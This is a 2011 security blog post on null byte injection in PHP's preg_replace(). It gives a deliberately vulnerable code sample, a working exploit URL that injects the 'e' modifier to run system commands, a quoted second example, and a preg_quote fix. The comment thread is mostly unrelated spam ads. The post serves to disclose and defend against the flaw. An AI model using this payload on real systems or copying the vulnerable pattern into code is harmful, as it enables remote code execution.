( ~~~ )
  ))^ ^((
 ((* - *))
   _) (_
 / '--' \     ^
//(_  _)\\   /_\
\\ )__( //   .'
 (( v  ))   (
   \| /\     '-.
    K(  \       )
    |\\  '-._.-'
    ||\\
  *_-P/,P
     '-
Want your PHP application manually audited? Check out Xxor AB's PHP Security Auditing Service

Wednesday, June 29, 2011

Null Byte Injection in preg_replace()

When reviewing some PHP code, I came across a real world example of a strange and undocumented (but it's been breifly mentiond in MOPS Submission 07) feature/bug in the function preg_replace. On certain systems, preg_replace seems to be vulnerable to a null byte injection. If both the first and second argument is derived from user input this could lead to a remote code execution.

Preg_replace naturally has the ability to evaluate it's second argument as PHP code if the "e" modifier is present in the pattern in it's first argument. But preg_replace is very strict regarding the syntax of supplied patterns. Normally there should be no way to escape from in between the "/" delimiters and inject the "e" modifier when the pattern is derived from user input, like in this example. $pattern = '/omfglol'.$_GET['mypattern'].'/i'; $replacement = $_GET['replacement']; $subject = 'omglolomglolnostop'; echo preg_replace($pattern,$replacement,$subject); If you'll try to exploit this by injecting "test/e" into the middle of the pattern "/omfgloltest/e/i". The "/" that is present after "/e" in the pattern is not considered to be a valid modifier and an error will be thrown. "Warning: preg_replace(): Unknown modifier '/'"

Lets have a look in PHP's source code. The, as of now, Current stable PHP 5.3.6. This is line 337 to 374 of ext/pcre/php_pcre.c containing the loop responsible for parsing modifiers in a pattern. /* Parse through the options, setting appropriate flags. Display a warning if we encounter an unknown modifier. */ while (*pp != 0) { switch (*pp++) { /* Perl compatible options */ case 'i': coptions |= PCRE_CASELESS; break; case 'm': coptions |= PCRE_MULTILINE; break; case 's': coptions |= PCRE_DOTALL; break; case 'x': coptions |= PCRE_EXTENDED; break; /* PCRE specific options */ case 'A': coptions |= PCRE_ANCHORED; break; case 'D': coptions |= PCRE_DOLLAR_ENDONLY;break; case 'S': do_study = 1; break; case 'U': coptions |= PCRE_UNGREEDY; break; case 'X': coptions |= PCRE_EXTRA; break; case 'u': coptions |= PCRE_UTF8; /* In PCRE, by default, \d, \D, \s, \S, \w, and \W recognize only ASCII characters, even in UTF-8 mode. However, this can be changed by setting the PCRE_UCP option. */ #ifdef PCRE_UCP coptions |= PCRE_UCP; #endif break; /* Custom preg options */ case 'e': poptions |= PREG_REPLACE_EVAL; break; case ' ': case '\n': break; default: php_error_docref(NULL TSRMLS_CC,E_WARNING, "Unknown modifier '%c'", pp[-1]); efree(pattern); return NULL; } }
On line 339, the while loop loops until it encounters a null byte. So if "test/e" is followed by a null byte PHP will stop searching for other modifiers beyond that.

To turn the PHP example in the beginning of this post into a remote command shell one would use an url like this: http://www.example.com/pregvuln.php?mypattern=||/e%00&replacement=system($_GET['cmd']);&cmd=echo%20testing123

Note: The double pipes "||" in the pattern "||/e" makes it match anything. The pattern must match something or the code won't execute.

Edit: My initial tests where distorted by the Suhosin patch, which also protects the server from this type of attack.
All PHP versions, as of today, is vulnerable to this attack.

Solution

To defend against this type of attack, just follow best practice. User input should always be escaped using preg_quote before being used in a regexp pattern.

This is a secured version of the example in the beginning of this post. $pattern = '/omfglol'.preg_quote($_GET['mypattern'],'/').'/i'; $replacement = $_GET['replacement']; $subject = 'omglolomglolnostop'; echo preg_replace($pattern,$replacement,$subject); Or to defend against this at the server level, install Suhosin.

40 comments:

  1. http://www.php-security.org/2010/05/20/mops-submission-07-our-dynamic-php/index.html
    ....
    However, even if there is no “e” modifier sometimes attackers still have possibility to evaluate code. It can be achieved by dropping off some part of regexp by putting null-byte into it. Let’s look at the same example, but a little bit modified:

    (.*?)$regexp<\/tag>/", '\\1', $var);
    ?>
    Maybe this example looks too naive, but currently aim is to show when null-byte attack could work. Now consider that vulnerable script accepts request like this:

    http://www.example.com/index.php?re=<\/tag>/e

    ReplyDelete
  2. @Vladimir
    Thank you. I'll add that link to the post.

    ReplyDelete
  3. Intressant och välskriven blogg! Det vore roligt att läsa vad din rekommendation är till databas-utvecklare generellt. Bör de satsa på prepared statements i hela sin stack? Är det PHP som är problemet? Hur kan vi göra LAMP-stacken säkrare?
    mvh
    Kristofer Pettersson

    ReplyDelete
  4. @Kristofer Pettersson

    Hej.
    Om man ser det ur databasadministratörens perspektiv så är förmodligen det enda h*n kan göra att påverka situationen att endast tillåta prepared statements.
    Det jag egentligen tycker man skall göra är att lära PHP-kodarna det "rätta sättet" att kommunicera med en databas.
    Det enklaste kan vara att tillverka en liten funktion som garanterat säkrar en variabel från oönskade injektioner, och sedan kräver att den funktionen alltid använda till alla variabler som på något sätt medverkar i ett SQL-kommando. Och om man har som standard att alltid göra på detta sättet så blir det betydligt enklare att bara läsa igenom koden och finna avvikelser där en injektion kan vara möjlig. Att altid göra på samma sätt har även fördelen att utvecklaren inte behöver tänka på om variabeln kan vara farlig eller ej. Hellre mysql_real_escape_string hundra gånger i onödan är en gång för lite.

    Eftersom att du ställde frågan så planerar jag nu en liten blogpost med en sådan funktion som jag brukar rekomendera när jag som konsult kontrollerar andras PHP kod.

    Lev Väl
    /Mango

    ReplyDelete
  5. Holistic Medicine encompasses the wide array connected with natural AND ALSO visual therapies It will probably bring the body back for you to the balanced state, free associated with disease. these therapies may be used alone or, even further powerfully, together. Kyäni

    ReplyDelete
  6. Apartments inside Alanya stay fairly cheep, inside spite connected with charges growing significantly. whilst ones market continues to be affected via recent financial events, It has proved to become much further robust in comparison with within a lot of other countries. because the new laws came in The stress allowing foreigners in order to buy land, both require AND ALSO expenses have increased. Prices, particularly along ones coast, usually are rising rapidly, AS WELL AS are needed to be able to progress to help do therefore over the next five to help eight years.It doesn't need to use an estate agent to find AND buy an Apartment throughout Alanya. However, many buyers Pick out to do, thus Just like estate agents cater to the catered Specifications of foreigners AND are aware of all the legal requirements. sooner committing to shopping the Apartment, you have to transaction no matter if You will discover any kind of amazing debts to the property. lägenheter i Alanya

    ReplyDelete
  7. Nowadays students from the school, college and universities look for Essay Help UK and Essay Helper UK services from the experts who can help them in solving their assignment in a manner that is required in college and universities.

    ReplyDelete
  8. Nowadays students from the school, college and universities look for My Assignment Help Singapore and MyAssignmentHelp Singapore services from the experts who can help them in solving their assignment in a manner that is required in college and universities.

    ReplyDelete
  9. Nowadays students from the school, college and universities look for Essay Help UK and Essay Helper UK services from the experts who can help them in solving their assignment in a manner that is required in college and universities. pakistani designer suits online , pakistani designer suits online

    ReplyDelete
  10. This coding is very helpful for developers and especially beginners can improve their knowledge and earn some good amount. Do you want to learn coding? Buy Dissertation Online.

    ReplyDelete
  11. I really appreciate your effort and perfection in creating your blog! Good job.make my dissertation

    ReplyDelete
  12. Thanks for sharing this.,
    Leanpitch provides online training in Scrum Master, everyone can use it wisely.
    Join Leanpitch 2 Days CSM Certification Workshop in different cities.
    certified scrum master certification

    agile scrum master certification

    ReplyDelete

  13. Excellent content ,Thanks for sharing this .,
    Leanpitch provides online training in ICP ACC, everyone can use it wisely.
    ICP ACC certification
    ICP ACC certification online
    Certified Agile coach certification

    ReplyDelete


  14. Excellent content ,Thanks for sharing this .,
    Leanpitch provides online training in ICP ACC, everyone can use it wisely.
    Certified Agile coach certification
    Agile coach

    ReplyDelete

  15. Excellent content ,Thanks for sharing this .,
    Leanpitch provides online training in ICP ACC, everyone can use it wisely.

    Agile coach certification
    ICP ACC certification online

    ReplyDelete
  16. 24x7 availability

    We understand that students can ask questions at any time of the day. That's why, unlike other platforms, we provide Cheap Assignment help all the time. In addition, a dedicated team of customer support is always available to address student questions and provide immediate solutions.
    Cheap Assignment Help

    ReplyDelete
  17. They will be able to learn several things and also will be able to use and improve their skills. If they are working on a tax law assignment, then it is suggested to do the whole work independently and not get assistance from Machine Learning homework Help

    ReplyDelete
  18. Dangal Games is the best place for you to be entertained and to make some earnings with online real money earning games in India. Are you looking for a fun way to kill time and earn money through games? You can easily earn money playing games on DangalGames! There is a chance that you can play games and earn money in India.

    ReplyDelete
  19. By the way, it would be very interesting if foreign departments use PHP code to send their cyphers. It is not easy for everyone to understand PHP code, and I want your opinion on this. Buy Essay Online

    ReplyDelete
  20. There is no doubt that interaction between learners and instructors yields good outcomes. Online Q&A Services Providers are part and parcel of any academic-related activities.The primary intention of the said exercise is to enhance the understanding of the subject knowledge. Therefore, clients are on the lookout for interactive Q&A services to draw the attention of modern learners. It is the best bait for learners. best ebook conversion services

    ReplyDelete
  21. K12 Manual Development Services define objectives for learning for the students of K12 in such an excellent manner. It aims to teach both theoretical and practical knowledge to the students. The online services that we provide are both subjects centred as well as learning-centred. The guides, manuals, lesson plans, latest syllabus, modules with interactive and live sessions provided here are just up to the mark and highly student-friendly. video solution development services

    ReplyDelete
  22. Professional Explainer Videos have taken centerstage due to their wide appeal. It can provide a message to different audience segments belonging to various cultural unfettered by the geographic boundaries. Businesses give a lot of emphasis to reaching the target customers through video to align themselves relevant in the cut-throat competitive world. Therefore, explainer videos servicesare there to satisfy the audience's dreams.
    Deliver online tutoring

    ReplyDelete
  23. Thanks for sharing this article with us.
    also, visit here sell old iphones

    ReplyDelete
  24. Thanks for sharing! My friend is researching this topic, so your blog helps him a lot. assignment help ireland

    ReplyDelete

  25. Thanks for your page! Your share information it helped me alot
    crankshaft polishing

    ReplyDelete
  26. Your article is well written and simple to understand.You make excellent points.Thank you for sharing amazing blog.Nice.....

    ReplyDelete
  27. Null Byte Injection is a security vulnerability that can be exploited in preg_replace() function, allowing attackers to manipulate and execute malicious code in a PHP application. This type of attack can have serious consequences, such as stealing sensitive data or compromising the entire system. It is essential to implement proper input validation and sanitization techniques to prevent Null Byte Injection attacks in your PHP code. If you are struggling with securing your code against such vulnerabilities, it's recommended to seek professional nursing assignment help from experts in the field who can provide you with guidance and support.

    ReplyDelete
  28. I read the above article and got some knowledge from your article which is about..... It's actually great and useful data for us. Thanks for sharing it.web development

    ReplyDelete
  29. I read the article you linked to above, and I learned a little something from it. For us, the information is genuinely quite good and helpful. We appreciate you sharing it.hire programmers in india

    ReplyDelete
  30. Malaysia Translators offers language translation services for businesses and individuals. Our team of professionals language translators has extensive experience in translating documents, websites, and other materials from various languages. We ensure accurate translations that retain the intended meaning of the original text. Our language translators are trained to deliver translations that cater to different industries, including legal, medical, and technical fields. Whether you need translations for personal or business use, Malaysia Translators can provide quality and reliable services.

    ReplyDelete
  31. We've noticed that this article is well-informed, in my opinion. The essay is beneficial to us, and your writing is exceptional. We appreciate you sharing this content.hire coldfusion developers

    ReplyDelete
  32. Crafting a well-structured dissertation requires solid research design and methodological choices. Dissertation services excel in offering expert guidance to students, helping them navigate the intricacies of research design, data collection, and analysis. From selecting appropriate research methodologies to refining research questions, write my dissertation provide invaluable insights that enhance the quality and rigor of the dissertations.

    ReplyDelete
  33. When it comes to refrigeration solutions, the options available today are more diverse and advanced than ever before. From commercial businesses to households, finding the perfect cooling system to meet your specific needs can be an overwhelming task. However, with a little research and understanding of your requirements, you can make an informed decision and ensure optimal refrigeration performance.

    ReplyDelete
  34. Everything has its value. Thanks for sharing this informative information with us. GOOD works! Pilgrimage Tour Packages

    ReplyDelete
  35. This blog is about security research, I really like that type of blog. Now it's time to avail same day computer repair in Essex, MD for more information.

    ReplyDelete
  36. It looks like you have put a lots of effort in this article. It seems like you have put a lots of time in this article. Now its time to avail Interior Painting Services in Fort Worth Tx for more information.

    ReplyDelete
  37. Quadrobits, a digital marketing corporation, delivers success to corporations thru custom techniques concerning search engine optimization and percent, leveraging information and clear targets. Visit social media marketing for more information.

    ReplyDelete